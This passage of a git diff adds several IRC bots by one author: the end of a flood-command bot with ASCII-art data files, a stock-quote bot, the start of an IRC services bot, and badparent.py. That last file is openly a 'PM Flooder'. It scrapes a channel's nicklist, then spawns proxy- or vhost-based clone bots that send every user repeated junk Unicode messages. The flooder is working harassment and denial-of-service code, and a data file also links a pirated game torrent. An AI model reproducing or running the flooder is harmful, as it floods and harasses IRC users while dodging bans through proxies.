+						else:self.sendmsg(chan,'Max: 10')
+					elif msg.startswith('!rope'):
+						if amount<=100 or ident==admin_ident:Functions.rope(amount)
+						else:self.sendmsg(chan,'Max: 100')
+					elif msg.startswith('!worm'):
+						if amount<=100 or ident==admin_ident:Functions.worm(amount)
+						else:self.sendmsg(chan,'Max: 100')
+			elif args[0]=='!rain' and len(args)>=3:
+				amount=args[1]
+				data=' '.join(args[2:])
+				if args[1].isdigit():
+					if int(args[1])<=100 or ident==admin_ident:Functions.rain(data,int(args[1]))
+					else:self.sendmsg(chan,'Max: 100')
+			elif args[0] in ('!wave','!wavehl') and len(args)>=4:
+				lines =args[1]
+				spaces=args[2]
+				data=' '.join(args[3:])
+				if lines.isdigit() and spaces.isdigit():
+					if int(lines)<=100 or ident==admin_ident:
+						if args[0]=='!wave':
+							Functions.wave(data,int(lines),int(spaces),False)
+						else:
+							Functions.wave(data,int(lines),int(spaces),True)
+					else:self.sendmsg(chan,'Max: 100')
+		elif self.echo:self.sendmsg(chan,msg)
+
+	def raw(self,msg):self.sock.send(bytes(msg+'\r\n','utf-8'))
+	def sendmsg(self,target,msg):
+		time.sleep(throttle_msg)
+		self.raw(f'PRIVMSG {target} :{msg}')
+	def sendmsg_wormnet(self,title,title_color,msg,extra=None):
+		if extra:self.sendmsg(channel,'[{0}] [{1}] {2} {3}'.format(color('WORMNET',pink),color(title,title_color),msg,color('({0})'.format(extra),grey)))
+		else:self.sendmsg(channel,'[{0}] [{1}] {2}'.format(color('WORMNET',pink),color(title,title_color),msg))
+
+# Main
+banana_data=open('data/banana.txt').readlines()
+crab_data=open('data/crab.txt').readlines()
+crate_data=open('data/crate.txt').readlines()
+worms_data=open('data/worms.txt').readlines()
+Bot=IRC()
+WORMS=WormNet()
+Bot.connect()
diff --git a/bots/anythinggoes/data/banana.txt b/bots/anythinggoes/data/banana.txt
new file mode 100644
index 0000000..f3d8dbc
--- /dev/null
+++ b/bots/anythinggoes/data/banana.txt
@@ -0,0 +1,4 @@
+ 8".           ,#
+ 8\ `-._____,-'=/
+  8`._ ----- _,'
+     8`-----'
diff --git a/bots/anythinggoes/data/crab.txt b/bots/anythinggoes/data/crab.txt
new file mode 100644
index 0000000..4e54404
--- /dev/null
+++ b/bots/anythinggoes/data/crab.txt
@@ -0,0 +1,10 @@
+     ,        ,
+    /(_,    ,_)\
+    \ _/    \_ /
+    //        \\
+    \\ (@)(@) //
+     \'=\"==\"='/
+ ,===/        \===,
+\",===\        /===,\"
+\" ,==='------'===, \"
+ \"                \"
diff --git a/bots/anythinggoes/data/crate.txt b/bots/anythinggoes/data/crate.txt
new file mode 100644
index 0000000..194f546
--- /dev/null
+++ b/bots/anythinggoes/data/crate.txt
@@ -0,0 +1,11 @@
+7,7                         
+7,7  7,2   7,7   7,4        7,7    7,2   7,7  
+5,7   5,2 5,7  7 7,4   7,7    7,4   7,7    7,2 7,7   
+1,7|||5|1,5|1,7|||7,4  1,7|||1,5|7,4   1,7||1,5|1,7|||||
+1,7|||5|1,5|1,7|||1,5|1,7|||7,4    1,7|||1,5|1,7|||||
+1,7||||1,5|1,7|||1,5|1,7||7,4   1,7|||||1,5|1,7|||||
+1,7||||1,5|1,7|||1,5|1,7||7,4   1,7|||||1,5|1,7|||||
+1,7||||1,5|1,7|||1,5|1,7||||1,5|1,7|||||1,5|1,7|||||
+7,7   7,2 7,7       7,4   7,7       7,2 7,7   
+7,7  7,2   7,7               7,2   7,7  
+7,7
\ No newline at end of file
diff --git a/bots/anythinggoes/data/worms.txt b/bots/anythinggoes/data/worms.txt
new file mode 100644
index 0000000..e5e69b1
--- /dev/null
+++ b/bots/anythinggoes/data/worms.txt
@@ -0,0 +1,22 @@
+4,1Worms Armageddon 0                                                                                                                                
+0,1                                                                                                                                                 
+0,1[13Installation & Setup0]                                                                                                                           
+0,011. Torrent & install Worms Armageddon                                                                                                            
+0,1	14-0 12http://thepiratebay.org/torrent/12392765/Worms_Armageddon_3.7.2.1_[no-Steam]0                                                                  
+0,1                                                                                                                                                 
+0,012. Download WormNAT2 & place the DLL files from it into the "C:\Program Files (x86)\Worms Armageddon" directory.                                 
+0,1	14-0 12http://worms.thecybershadow.net/wormkit/wkWormNAT2.zip0                                                                                        
+0,1                                                                                                                                                 
+0,013. Start the game, open the options screen, click "Advanced" & make sure "Load Wormkit modules" is checked.                                      
+0,1                                                                                                                                                 
+0,1Note: If you get an error about save data when you start worms you have to edit the worms directory folder permissions to have full write access.
+0,1                                                                                                                                                 
+0,1[13Useful Resources0]                                                                                                                               
+14,1•0 Torrent Mirror 12https://www.pyrex.pw/files/worms/worms.torrent0                                                                                  
+14,1•0 Maps & Schemes 12https://www.pyrex.pw/files/worms/worms-maps-schemes.zip0                                                                         
+14,1•0 Mod Pack	      12https://www.pyrex.pw/files/worms/worms-mods.zip0                                                                                      
+14,1•0 Worms Wiki	  12http://worms2d.info/Worms_Armageddon0                                                                                               
+0,1                                       12   0                                                                                                       
+0,1[13Credits0]                                                                                                                                        
+0,1 14-0 TEAM WORMSEC OK                                                                                                                               
+0,1 14-0 irc.supernets.org (6667/+6697) #anythinggoes
diff --git a/bots/badparent.py b/bots/badparent.py
new file mode 100644
index 0000000..986921f
--- /dev/null
+++ b/bots/badparent.py
@@ -0,0 +1,302 @@
+#!/usr/bin/env python
+# BadParent IRC Bot - Developed by acidvegas in Python (https://acid.vegas/random)
+# badparent.py
+
+'''
+The parent bot will join a channel, parse the entire nicklist, and maintain it during joins, quits, nick changes, etc.
+The child bot clones will use either proxies or virtual hosts to connect and PM the nicklist.
+Nicks that have the usermode +g *(callerid)*, +D *(privdeaf)*, and +R *(regonlymsg)* will be removed from the nicklist.
+'''
+
+import argparse
+import concurrent.futures
+import os
+import random
+import ssl
+import socket
+import string
+import sys
+import threading
+import time
+
+server   = 'irc.server.com'
+port     = 6667
+nickname = 'BIGDADDY'
+username = 'dad'
+realname = 'I am horrible...'
+
+def alert(msg):
+	print(f'{get_time()} | [+] - {msg}')
+
+def debug(msg):
+	print(f'{get_time()} | [~] - {msg}')
+
+def error(msg, reason=None):
+	print(f'{get_time()} | [!] - {msg} ({reason})') if reason else print(f'{get_time()} | [!] - {msg}')
+
+def error_exit(msg):
+	raise SystemExit(f'{get_time()} | [!] - {msg}')
+
+def get_time():
+	return time.strftime('%I:%M:%S')
+
+def random_str(size):
+	return ''.join(random.choice(string.ascii_letters) for _ in range(size))
+
+def unicode():
+	msg = ''
+	for i in range(random.randint(400,450)):
+		msg += chr(random.randint(0x1000, 0x3000))
+	return msg
+
+
+
+
+class parent(object):
+	def __init__(self):
+		self.nicklist = list()
+		self.sock     = None
+
+	def connect(self):
+		try:
+			self.sock = socket.socket()
+			self.sock.connect((server, port))
+			self.raw(f'USER {username} 0 * :{realname}')
+			self.raw('NICK ' + nickname)
+		except socket.error as ex:
+			error('Failed to connect to IRC server.', ex)
+			self.event_disconnect()
+		else:
+			self.listen()
+
+	def event_connect(self):
+		if config.login.nickserv:
+			self.identify(config.ident.nickname, config.login.nickserv)
+		self.join_channel(config.connection.channel, config.connection.key)
+
+	def event_disconnect(self):
+		error('The parent bot has disconected!')
+		self.sock.close()
+
+	def event_end_of_names(self, chan):
+	   if self.nicklist:
+		   alert(f'Found {len(self.nicklist)} nicks in channel.')
+		   threading.Thread(target=load_children).start()
+	   else:
+		   error('Failed to parse nicklist from channel.')
+
+	def event_join(self, nick, chan):
+		if chan == config.connection.channel:
+			if nick not in self.nicklist:
+				self.nicklist.append(nick)
+
+	def event_kick(self, nick, chan, kicked):
+		if chan == config.connection.channel:
+			if kicked == config.ident.nickname:
+				time.sleep(3)
+				self.join(self.chan, self.key)
+
+	def event_names(self, chan, names):
+		if chan == config.connection.channel:
+			for name in names:
+				if name[:1] in '~!@%&+:':
+					name = name[1:]
+				if name != config.ident.nickname and name not in self.nicklist:
+					self.nicklist.append(name)
+
+	def event_nick(self, nick, new):
+		if nick in self.nicklist:
+			self.nicklist.remove(nick)
+			self.nicklist.append(new)
+
+	def event_nick_in_use(self):
+		self.raw('NICK ' + random_str(random.randint(4,7)))
+
+	def event_quit(self, nick):
+		if nick in self.nicklist:
+			self.nicklist.remove(nick)
+
+	def handle_events(self, data):
+		args = data.split()
+		if data.startswith('ERROR :Closing Link:'):
+			raise Exception('Connection has closed.')
+		elif args[0] == 'PING':
+			self.raw('PONG ' + args[1][1:])
+		elif args[1] == '001':
+			self.event_connect()
+		elif args[1] == '433':
+			self.event_nick_in_use()
+		elif args[1] == '353':
+			chan = args[4]
+			if ' :' in data:
+				names = data.split(' :')[1].split()
+			elif ' *' in data:
+				names = data.split(' *')[1].split()
+			elif ' =' in data:
+				names = data.split(' =')[1].split()
+			else:
+				names = data.split(chan)[1].split()
+			self.event_names(chan, names)
+		elif args[1] == '366':
+			chan = args[3]
+			self.event_end_of_names(chan)
+		elif args[1] == 'JOIN':
+			nick = args[0].split('!')[0][1:]
+			chan = args[2][1:]
+			self.event_join(nick, chan)
+		elif args[1] == 'KICK':
+			chan   = args[2]
+			kicked = args[3]
+			self.event_kick(nick, chan, kicked)
+		elif args[1] == 'NICK':
+			nick = args[0].split('!')[0][1:]
+			new  = args[2][1:]
+			self.event_nick(nick, new)
+		elif args[1] == 'QUIT' :
+			nick = args[0].split('!')[0][1:]
+			self.event_quit(nick)
+
+	def join_channel(self, chan, key=None):
+		self.raw(f'JOIN {chan} {key}') if key else self.raw('JOIN ' + chan)
+
+	def listen(self):
+		while True:
+			try:
+				data = self.sock.recv(1024).decode('utf-8')
+				for line in (line for line in data.split('\r\n') if len(line.split()) >= 2):
+					self.handle_events(line)
+			except (UnicodeDecodeError,UnicodeEncodeError):
+				pass
+			except Exception as ex:
+				error('Unexpected error occured.', ex)
+				break
+		self.event_disconnect()
+
+	def raw(self, msg):
+		self.sock.send(bytes(msg + '\r\n', 'utf-8'))
+
+
+
+class child:
+	def __init__(self, data_line):
+		self.data_line = data_line
+		self.sock      = None
+
+	def attack(self):
+		while True:
+			try:
+				if not Parent.nicklist:
+					error('Nicklist has become empty!')
+					break
+				for name in Parent.nicklist:
+					self.sendmsg(name, unicode())
+					time.sleep(config.throttle.pm)
+			except:
+				break
+
+	def connect(self):
+		try:
+			self.create_socket()
+			self.sock.connect((config.connection.server, config.connection.port))
+			self.raw('USER {0} 0 * :{1}'.format(random_str(random.randint(4,7)), random_str(random.randint(4,7))))
+			self.raw('NICK ' + random_str(random.randint(4,7)))
+		except socket.error:
+			self.sock.close()
+		else:
+			self.listen()
+
+	def create_socket(self):
+		family = socket.AF_INET6 if config.connection.ipv6 else socket.AF_INET
+		if pargs.proxy:
+			proxy_server, proxy_port = self.data_line.split(':')
+			self.sock = socks.socksocket(socket.AF_INET, socket.SOCK_STREAM)
+			self.sock.setblocking(0)
+			self.sock.settimeout(config.throttle.timeout)
+			self.sock.setproxy(socks.PROXY_TYPE_SOCKS5, proxy_server, int(proxy_port))
+		elif pargs.vhost:
+			self.sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
+			self.sock.bind((self.data_line, 0))
+		if config.connection.ssl:
+			self.sock = ssl.wrap_socket(self.sock)
+
+	def listen(self):
+		while True:
+			try:
+				data = self.sock.recv(1024).decode('utf-8')
+				for line in (line for line in data.split('\r\n') if len(line.split()) >= 2):
+					args = data.split()
+					if data.startswith('ERROR :Closing Link:'):
+						raise Exception('Connection has closed.')
+					elif args[0] == 'PING':
+						self.raw('PONG ' + args[1][1:])
+					elif args[1] == '001':
+						alert(f'Successful connection. ({self.data_line})')
+						threading.Thread(target=self.attack).start()
+					elif args[1] == '401':
+						nick = args[3]
+						self.event_bad_nick()
+					elif args[1] == '433':
+						self.raw('NICK ' + random_str(random.randint(4,7)))
+					elif args[1] == '486':
+						nick = args[-1:]
+						self.event_bad_nick(nick)
+					elif args[1] == '716':
+						nick = args[3]
+						if nick in Parent.nicklist:
+							Parent.nicklist.remove(nick)
+					elif args[1] == 'NOTICE':
+						if 'User does not accept private messages' in data:
+							nick = args[5][1:-1]
+							self.event_bad_nick(nick)
+			except (UnicodeDecodeError,UnicodeEncodeError):
+				pass
+			except:
+				break
+		self.sock.close()
+
+	def raw(self, msg):
+		self.sock.send(bytes(msg + '\r\n', 'utf-8'))
+
+	def sendmsg(self, target, msg):
+		self.raw(f'PRIVMSG {target} :{msg}')
+
+
+
+def load_children():
+	debug('Loading children bots...')
+	for i in range(config.throttle.concurrency):
+		debug('Concurrency round starting....')
+		with concurrent.futures.ThreadPoolExecutor(max_workers=config.throttle.threads) as executor:
+			checks = {executor.submit(child(item).connect): item for item in data_lines}
+			for future in concurrent.futures.as_completed(checks):
+				checks[future]
+	debug('Flooding is complete. (Threads still may be running!)')
+
+# Main
+print('#'*56)
+print('#{0}#'.format(''.center(54)))
+print('#{0}#'.format('BadParent IRC PM Flooder'.center(54)))
+print('#{0}#'.format('Developed by acidvegas in Python'.center(54)))
+print('#{0}#'.format('https://acid.vegas/badparent'.center(54)))
+print('#{0}#'.format(''.center(54)))
+print('#'*56)
+parser = argparse.ArgumentParser(usage='%(prog)s <input> [options]')
+parser.add_argument('input',         help='file to scan')
+parser.add_argument('-p', '--proxy', help='proxy list', action='store_true')
+parser.add_argument('-v', '--vhost', help='vhost list', action='store_true')
+pargs = parser.parse_args()
+if (pargs.proxy and pargs.vhost) or (not pargs.proxy and not pargs.vhost):
+	error_exit('Invalid arguments.')
+if pargs.proxy:
+	try:
+		import socks
+	except ImportError:
+		error_exit('Missing PySocks module! (https://pypi.python.org/pypi/PySocks)')
+if not os.path.isfile(pargs.input):
+	error_exit('No such input file.')
+data_lines = [line.strip() for line in open(pargs.input).readlines() if line]
+debug(f'Loaded {len(data_lines)} lines from file.')
+random.shuffle(data_lines)
+debug('Starting parent bot connection...')
+Parent = parent()
+Parent.connect()
diff --git a/bots/iex.py b/bots/iex.py
new file mode 100644
index 0000000..adfbfdb
--- /dev/null
+++ b/bots/iex.py
@@ -0,0 +1,362 @@
+#!/usr/bin/env python
+# IExTrading IRC Bot - Developed by acidvegas in Python (https://acid.vegas/iex)
+
+import http.client
+import json
+import random
+import ssl
+import socket
+import time
+
+# Connection
+server  = 'irc.supernets.org'
+channel = '#dev'
+
+# Identity
+nickname = 'StockMarket'
+username = 'iex'
+realname = 'acid.vegas/iex'
+
+# Login
+nickserv_password = None
+network_password  = None
+
+# Settings
+throttle_cmd = 3
+throttle_msg = 0.5
+user_modes   = None
+
+# Formatting Control Characters / Color Codes
+bold        = '\x02'
+italic      = '\x1D'
+underline   = '\x1F'
+reverse     = '\x16'
+reset       = '\x0f'
+white       = '00'
+black       = '01'
+blue        = '02'
+green       = '03'
+red         = '04'
+brown       = '05'
+purple      = '06'
+orange      = '07'
+yellow      = '08'
+light_green = '09'
+cyan        = '10'
+light_cyan  = '11'
+light_blue  = '12'
+pink        = '13'
+grey        = '14'
+light_grey  = '15'
+
+def condense_value(value):
+	value = float(value)
+	if value < 0.01:
+		return '${0:,.8f}'.format(value)
+	elif value < 24.99:
+		return '${0:,.2f}'.format(value)
+	else:
+		return '${:,}'.format(int(value))
+
+def debug(msg):
+	print(f'{get_time()} | [~] - {msg}')
+
+def error(msg, reason=None):
+	if reason:
+		print(f'{get_time()} | [!] - {msg} ({reason})')
+	else:
+		print(f'{get_time()} | [!] - {msg}')
+
+def error_exit(msg):
+	raise SystemExit(f'{get_time()} | [!] - {msg}')
+
+def get_float(data):
+	try:
+		float(data)
+		return True
+	except ValueError:
+		return False
+
+def get_time():
+	return time.strftime('%I:%M:%S')
+
+def percent_color(percent):
+	percent = float(percent)
+	if percent == 0.0:
+		return grey
+	elif percent < 0.0:
+		if percent > -10.0:
+			return brown
+		else:
+			return red
+	else:
+		if percent < 10.0:
+			return green
+		else:
+			return light_green
+
+def random_int(min, max):
+	return random.randint(min, max)
+
+class IEX:
+	def api(api_data):
+		conn = http.client.HTTPSConnection('api.iextrading.com', timeout=15)
+		conn.request('GET', '/1.0/' + api_data)
+		response = conn.getresponse().read().decode('utf-8')
+		data = json.loads(response)
+		conn.close()
+		return data
+
+	def company(symbol):
+		return IEX.api(f'stock/{symbol}/company')
+
+	def lists(list_type):
+		return IEX.api('stock/market/list/' + list_type)
+
+	def news(symbol):
+		return IEX.api(f'stock/{symbol}/news')
+
+	def quote(symbols):
+		data = IEX.api(f'stock/market/batch?symbols={symbols}&types=quote')
+		if len(data) == 1:
+			return data[next(iter(data))]['quote']
+		else:
+			return [data[item]['quote'] for item in data]
+
+	def stats(symbol):
+		return IEX.api(f'stock/{symbol}/stats')
+
+	def symbols():
+		return IEX.api('ref-data/symbols')
+
+class IRC(object):
+	def __init__(self):
+		self.last = 0
+		self.slow = False
+		self.sock = None
+
+	def stock_info(self, data):
+		sep      = self.color('|', grey)
+		sep2     = self.color('/', grey)
+		name     = '{0} ({1})'.format(self.color(data['companyName'], white), data['symbol'])
+		value    = condense_value(data['latestPrice'])
+		percent  = self.color('{:,.2f}%'.format(float(data['change'])), percent_color(data['change']))
+		volume   = '{0} {1}'.format(self.color('Volume:', white), '${:,}'.format(data['avgTotalVolume']))
+		cap      = '{0} {1}'.format(self.color('Market Cap:', white), '${:,}'.format(data['marketCap']))
+		return f'{name} {sep} {value} ({percent}) {sep} {volume} {sep} {cap}'
+
+	def stock_matrix(self, data): # very retarded way of calculating the longest strings per-column
+		results = {'symbol':list(),'value':list(),'percent':list(),'volume':list(),'cap':list()}
+		for item in data:
+			results['symbol'].append(item['symbol'])
+			results['value'].append(condense_value(item['latestPrice']))
+			results['percent'].append('{:,.2f}%'.format(float(item['change'])))
+			results['volume'].append('${:,}'.format(item['avgTotalVolume']))
+			results['cap'].append('${:,}'.format(item['marketCap']))
+		for item in results:
+			results[item] = len(max(results[item], key=len))
+		if results['symbol'] < len('Symbol'):
+			results['symbol'] = len('Symbol')
+		if results['value'] < len('Value'):
+			results['value'] = len('Value')
+		if results['percent'] < len('Change'):
+			results['percent'] = len('Change')
+		if results['volume'] < len('Volume'):
+			results['volume'] = len('Volume')
+		if results['cap'] < len('Market Cap'):
+			results['cap'] = len('Market Cap')
+		return results
+
+	def stock_table(self, data):
+		matrix = self.stock_matrix(data)
+		header = self.color(' {0}   {1}   {2}   {3}   {4}'.format('Symbol'.center(matrix['symbol']), 'Value'.center(matrix['value']), 'Percent'.center(matrix['percent']),  'Volume'.center(matrix['volume']), 'Market Cap'.center(matrix['cap'])), black, light_grey)
+		lines  = [header,]
+		for item in data:
+			symbol   = item['symbol'].ljust(matrix['symbol'])
+			value    = condense_value(item['latestPrice']).rjust(matrix['value'])
+			percent  = self.color('{:,.2f}%'.format(float(item['change'])).rjust(matrix['percent']), percent_color(item['change']))
+			volume   = '${:,}'.format(item['avgTotalVolume']).rjust(matrix['volume'])
+			cap      = '${:,}'.format(item['marketCap']).rjust(matrix['cap'])
+			lines.append(' {0} | {1} | {2} | {3} | {4} '.format(symbol,value,percent,volume,cap))
+		return lines
+
+	def color(self, msg, foreground, background=None):
+		if background:
+			return f'\x03{foreground},{background}{msg}{reset}'
+		else:
+			return f'\x03{foreground}{msg}{reset}'
+
+	def connect(self):
+		try:
+			self.sock = ssl.wrap_socket(socket.socket(socket.AF_INET, socket.SOCK_STREAM))
+			self.sock.connect((server, 6697))
+			self.raw(f'USER {username} 0 * :{realname}')
+			self.nick(nickname)
+		except socket.error as ex:
+			error('Failed to connect to IRC server.', ex)
+			self.event_disconnect()
+		else:
+			self.listen()
+
+	def error(self, chan, msg, reason=None):
+		if reason:
+			self.sendmsg(chan, '[{0}] {1} {2}'.format(self.color('!', red), msg, self.color('({0})'.format(reason), grey)))
+		else:
+			self.sendmsg(chan, '[{0}] {1}'.format(self.color('!', red), msg))
+
+	def event_connect(self):
+		if user_modes:
+			self.mode(nickname, '+' + user_modes)
+		if nickserv_password:
+			self.identify(nickname, nickserv_password)
+		self.join_channel(channel)
+
+	def event_disconnect(self):
+		self.sock.close()
+		time.sleep(10)
+		self.connect()
+
+	def event_kick(self, chan, kicked):
+		if chan == channel and kicked == nickname:
+			time.sleep(3)
+			self.join_channel(channel, key)
+
+	def event_message(self, nick, chan, msg):
+		#try:
+			if msg[:1] in '@!':
+				if time.time() - self.last < throttle_cmd:
+					if not self.slow:
+						self.error(chan, 'Slow down nerd!')
+						self.slow = True
+				else:
+					args = msg.split()
+					if msg == '@iex':
+						self.sendmsg(chan, bold + 'IExTrading IRC Bot - Developed by acidvegas in Python - https://acid.vegas/iex')
+					elif args[0] == '!stock':
+						if len(args) == 2:
+							symbols = args[1].upper()
+							if ',' in symbols:
+								symbols = ','.join(list(symbols.split(','))[:10])
+								data    = IEX.quote(symbols)
+								if type(data) == dict:
+									self.sendmsg(chan, self.stock_info(data))
+								elif type(data) == list:
+									for line in self.stock_table(data):
+										self.sendmsg(chan, line)
+										time.sleep(throttle_msg)
+								else:
+									self.error(chan, 'Invalid stock names!')
+							else:
+								symbol = args[1]
+								data = IEX.quote(symbol)
+								if data:
+									self.sendmsg(chan, self.stock_info(data))
+								else:
+									self.error(chan, 'Invalid stock name!')
+						elif len(args) == 3:
+							if args[1] == 'company':
+								symbol = args[2]
+								data = IEX.company(symbol)
+								if data:
+									self.sendmsg(chan, '{0} {1} ({2}) {3} {4} {5} {6} {7} {8}'.format(self.color('Company:', white), data['companyName'], data['symbol'], self.color('|', grey), data['website'], self.color('|', grey), data['industry'], self.color('|', grey), data['CEO']))
+									self.sendmsg(chan, '{0} {1}'.format(self.color('Description:', white), data['description']))
+								else:
+									self.error('Invalid stock name!')
+							elif args[1] == 'search':
+								query = args[2].lower()
+								data = [{'symbol':item['symbol'],'name':item['name']} for item in IEX.symbols() if query in item['name'].lower()]
+								if data:
+									count = 1
+									max_length = len(max([item['name'] for item in data], key=len))
+									for item in data[:10]:
+										self.sendmsg(chan, '[{0}] {1} {2} {3}'.format(self.color(str(count), pink), item['name'].ljust(max_length), self.color('|', grey), item['symbol']))
+										count += 1
+										time.sleep(throttle_msg)
+								else:
+									self.error(chan, 'No results found.')
+							elif args[1] == 'list':
+								options = {'active':'mostactive','gainers':'gainers','losers':'losers','volume':'iexvolume','percent':'iexpercent'}
+								option = args[2]
+								try:
+									option = options[option]
+								except KeyError:
+									self.error(chan, 'Invalid option!', 'Valid options are active, gainers, losers, volume, & percent')
+								else:
+									data = IEX.lists(option)
+									for line in self.stock_table(data):
+										self.sendmsg(chan, line)
+										time.sleep(throttle_msg)
+							elif args[1] == 'news':
+								symbol = args[2]
+								data   = IEX.news(symbol)
+								if data:
+									count  = 1
+									for item in data:
+										self.sendmsg(chan, '[{0}] {1}'.format(self.color(str(count), pink), item['headline']))
+										self.sendmsg(chan, ' - ' + self.color(item['url'], grey))
+										count += 1
+										time.sleep(throttle_msg)
+								else:
+									self.error(chan, 'Invalid stock name!')
+				self.last = time.time()
+		#except Exception as ex:
+		#	self.error(chan, 'Unknown error occured!', ex)
+
+	def event_nick_in_use(self):
+		self.nick('IEX_' + str(random_int(10,99)))
+
+	def handle_events(self, data):
+		args = data.split()
+		if data.startswith('ERROR :Closing Link:'):
+			raise Exception('Connection has closed.')
+		elif args[0] == 'PING':
+			self.raw('PONG ' + args[1][1:])
+		elif args[1] == '001':
+			self.event_connect()
+		elif args[1] == '433':
+			self.event_nick_in_use()
+		elif args[1] == 'KICK':
+			chan   = args[2]
+			kicked = args[3]
+			self.event_kick(nick, chan, kicked)
+		elif args[1] == 'PRIVMSG':
+			nick = args[0].split('!')[0][1:]
+			chan = args[2]
+			msg  = ' '.join(args[3:])[1:]
+			if chan == channel:
+				self.event_message(nick, chan, msg)
+
+	def identify(self, nick, passwd):
+		self.sendmsg('nickserv', f'identify {nick} {passwd}')
+
+	def join_channel(self, chan, key=None):
+		self.raw(f'JOIN {chan} {key}') if key else self.raw('JOIN ' + chan)
+
+	def listen(self):
+		while True:
+			try:
+				data = self.sock.recv(1024).decode('utf-8')
+				for line in (line for line in data.split('\r\n') if line):
+					debug(line)
+					if len(line.split()) >= 2:
+						self.handle_events(line)
+			except (UnicodeDecodeError,UnicodeEncodeError):
+				pass
+			#except Exception as ex:
+			#	error('Unexpected error occured.', ex)
+			#	break
+		self.event_disconnect()
+
+	def mode(self, target, mode):
+		self.raw(f'MODE {target} {mode}')
+
+	def nick(self, nick):
+		self.raw('NICK ' + nick)
+
+	def raw(self, msg):
+		self.sock.send(bytes(msg + '\r\n', 'utf-8'))
+
+	def sendmsg(self, target, msg):
+		self.raw(f'PRIVMSG {target} :{msg}')
+
+IRC().connect()
diff --git a/bots/ircs/README.md b/bots/ircs/README.md
new file mode 100644
index 0000000..a1505b2
--- /dev/null
+++ b/bots/ircs/README.md
@@ -0,0 +1,42 @@
+###### Information
+This project is no longer being maintained & is made available for historical purposes only.
+
+The IRCS project is basically a stripped down version of [Anope](https://www.anope.org/)'s bots all crammed into one & was developed for usage with [UnrealIRCd](https://www.unrealircd.org/) 4.
+
+###### Setup
+You will get the lowest ping having the bot connect to localhost on the same box as the IRCd is running.
+
+The bot *will* require network operator privledges in order to work, so make sure you add that into your IRCd configuration.
+
+Edit [`config.py`](https://github.com/acidvegas/ircs/blob/master/ircs/core/config.py) and change the `oper_passwd` and the `admin_host` settings.
+
+###### Commands
+| Mode Command | Description | Restriction |
+| --- | --- | --- |
+| !mode \<chan> | Read all the auto-mode hosts for \<channel>. | *+q only* |
+| !mode \<chan> \<mode> | Read all the \<mode> auto-mode hosts for \<channel>. | *+q only* |
+| !mode \<chan> \<mode> +\<ident> | Automatically +\<mode> a user matching \<ident>. | *+q only* |
+| !mode \<chan> \<mode> -\<ident> | Remove automatic +\<mode> from a user matching \<ident>. | *+q only* |
+| !sync \<chan> | Set all the channels stored in the database for \<channel>. | *+q only* |
+
+| Vhost Command | Description | Restriction |
+| --- | --- | --- |
+| !vhost add \<ident> \<vhost> | Change the host of \<ident> to \<vhost> on connect. | *admin only*|
+| !vhost drop \<ident> | Delete the VHOST registered to \<ident>. | *admin only* |
+| !vhost list | Return a list of all activated VHOSTs. | *admin only* |
+| !vhost on | Turn on your VHOST. | *vhost users only* |
+| !vhost off | Turn off your VHOST. | *vhost users only*|
+| !vhost sync | Change your current hostmask to your VHOST. | *vhost users only* |
+
+| Admin Command | Description | Restriction |
+| --- | --- | --- |
+| !husers | List all users connected but not joined to any channel(s). | *admin only* |
+| !husers join \<channel> | Force join all hidden users into \<channe>. | *admin only* |
+| !husers kill | Kill the connection of all hidden users. | *admin only* |
+| !husers gline | G:Line the connection of all hidden users. | *admin only* |
+| !husers gzline | GZ:Line the connection of all hidden users. | *admin only* |
+
+###### Mirrors
+- [acid.vegas](https://acid.vegas/random) *(main)*
+- [GitHub](https://github.com/acidvegas/random)
+- [GitLab](https://gitlab.com/acidvegas/random)
diff --git a/bots/ircs/ircs/core/config.py b/bots/ircs/ircs/core/config.py
new file mode 100644
index 0000000..f1af76f
--- /dev/null
+++ b/bots/ircs/ircs/core/config.py
@@ -0,0 +1,20 @@
+#!/usr/bin/env python
+# IRC Services (IRCS) - Developed by acidvegas in Python (https://acid.vegas/ircs)
+# config.py
+
+# Connection
+server   = 'localhost'
+port     = 6667
+use_ipv6 = False
+use_ssl  = False
+vhost    = None
+password = None
+
+# Identity
+nickname    = 'IRCS'
+username    = 'ircs'
+realname    = 'IRC Services Bot'
+
+# Admin
+admin_host  = 'CHANGEME'
+oper_passwd = 'CHANGEME'
diff --git a/bots/ircs/ircs/core/debug.py b/bots/ircs/ircs/core/debug.py
new file mode 100644
index 0000000..07ce3f0
--- /dev/null
+++ b/bots/ircs/ircs/core/debug.py
@@ -0,0 +1,70 @@
+#!/usr/bin/env python
+# IRC Services (IRCS) - Developed by acidvegas in Python (https://acid.vegas/ircs)
+# debug.py
+
+import ctypes
+import os
+import sys
+import time
+import string
+
+def check_data(data):
+    if all(c in string.printable for c in data):
+        return True
+    else:
+        return False
+
+def check_privileges():
+    if check_windows():
+        if ctypes.windll.shell32.IsUserAnAdmin() != 0:
+            return True
+        else:
+            return False
+    else:
+        if os.getuid() == 0 or os.geteuid() == 0:
+            return True
+        else:
+            return False
+
+def check_version(major):
+    if sys.version_info.major == major:
+        return True
+    else:
+        return False
+
+def check_windows():
+    if os.name == 'nt':
+        return True
+    else:
+        return False
+
+def clear():
+    if check_windows():
+        os.system('cls')
+    else:
+        os.system('clear')
+
+def error(msg, reason=None):
+    if reason:
+        print('{0} | [!] - {1} ({2})'.format(get_time(), msg, str(reason)))
+    else:
+        print('{0} | [!] - {1}'.format(get_time(), msg))
+
+def error_exit(msg):
+    raise SystemExit('{0} | [!] - {1}'.format(get_time(), msg))
+
+def get_time():
+    return time.strftime('%I:%M:%S')
+
+def info():
+    clear()
+    print(''.rjust(56, '#'))
+    print('#{0}#'.format(''.center(54)))
+    print('#{0}#'.format('IRC Services (IRCS)'.center(54)))
+    print('#{0}#'.format('Developed by acidvegas in Python'.center(54)))
+    print('#{0}#'.format('https://acid.vegas/ircs'.center(54)))
+    print('#{0}#'.format(''.center(54)))
+    print(''.rjust(56, '#'))
+
+def irc(msg):
+    print('{0} | [~] - {1}'.format(get_time(), msg))
\ No newline at end of file
diff --git a/bots/ircs/ircs/core/functions.py b/bots/ircs/ircs/core/functions.py
new file mode 100644
index 0000000..0af9b41
--- /dev/null
+++ b/bots/ircs/ircs/core/functions.py
@@ -0,0 +1,113 @@
+#!/usr/bin/env python
+# IRC Services (IRCS) - Developed by acidvegas in Python (https://acid.vegas/ircs)
+# functions.py
+
+import inspect
+import os
+import sqlite3
+import string
+
+# Database
+database_dir  = os.path.join(os.path.dirname(os.path.realpath(inspect.stack()[-1][1])), 'data')
+database_file = os.path.join(database_dir, 'ircs.db')
+
+# Globals
+db  = sqlite3.connect(database_file)
+sql = db.cursor()
+
+class Database:
